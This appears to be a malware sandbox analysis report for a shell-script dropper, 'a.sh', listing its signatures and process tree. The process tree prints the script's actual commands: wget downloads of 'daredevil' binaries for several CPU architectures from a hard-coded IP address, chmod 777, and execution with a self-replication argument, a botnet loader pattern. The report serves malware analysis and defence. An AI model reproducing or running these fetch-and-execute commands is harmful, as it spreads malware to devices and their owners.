Overview

overview

7

Static

static

1

a.sh

ubuntu-18.04-amd64

7

a.sh

debian-9-armhf

7

a.sh

debian-9-mips

7

a.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    7s
  • max time network
    8s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260513-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/08/2026, 02:37

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a.sh
  • Size 1KB
  • Sample260820-c4eg7sycpg
  • SHA256 401163394000e3b94ad4580b622a237e1e3d5e55a9254b60cbfcb87073d614cf
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Traces itself 1 IoCs

    Traces itself to prevent debugging attempts

  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a.sh
    /tmp/a.sh
    1⤵
      PID:719
      • /bin/rm
        rm -f "daredevil.*"
        2⤵
          PID:721
        • /usr/bin/wget
          wget http://94.154.43.210/daredevil.armv7l
          2⤵
          • Writes file to tmp directory
          PID:723
        • /usr/bin/wget
          wget http://94.154.43.210/daredevil.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /usr/bin/wget
          wget http://94.154.43.210/daredevil.mipsel
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /usr/bin/wget
          wget http://94.154.43.210/daredevil.armv5l
          2⤵
          • Writes file to tmp directory
          PID:749
        • /usr/bin/wget
          wget http://94.154.43.210/daredevil.armv6l
          2⤵
          • Writes file to tmp directory
          PID:751
        • /usr/bin/wget
          wget http://94.154.43.210/daredevil.x86_64
          2⤵
          • Writes file to tmp directory
          PID:752
        • /usr/bin/wget
          wget http://94.154.43.210/daredevil.armv4l
          2⤵
          • Writes file to tmp directory
          PID:753
        • /bin/chmod
          chmod 777 daredevil.armv4l daredevil.armv5l daredevil.armv6l daredevil.armv7l daredevil.mips daredevil.mipsel daredevil.x86_64
          2⤵
          • File and Directory Permissions Modification
          PID:754
        • /tmp/daredevil.armv7l
          ./daredevil.armv7l selfrep.massload
          2⤵
            PID:755
          • /tmp/daredevil.mips
            ./daredevil.mips selfrep.massload
            2⤵
            • System Network Configuration Discovery
            PID:757
          • /tmp/daredevil.mipsel
            ./daredevil.mipsel selfrep.massload
            2⤵
            • Traces itself
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:759
          • /tmp/daredevil.armv5l
            ./daredevil.armv5l selfrep.massload
            2⤵
              PID:760
            • /tmp/daredevil.armv6l
              ./daredevil.armv6l selfrep.massload
              2⤵
                PID:762
              • /tmp/daredevil.x86_64
                ./daredevil.x86_64 selfrep.massload
                2⤵
                  PID:764
                • /tmp/daredevil.armv4l
                  ./daredevil.armv4l selfrep.massload
                  2⤵
                    PID:766

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads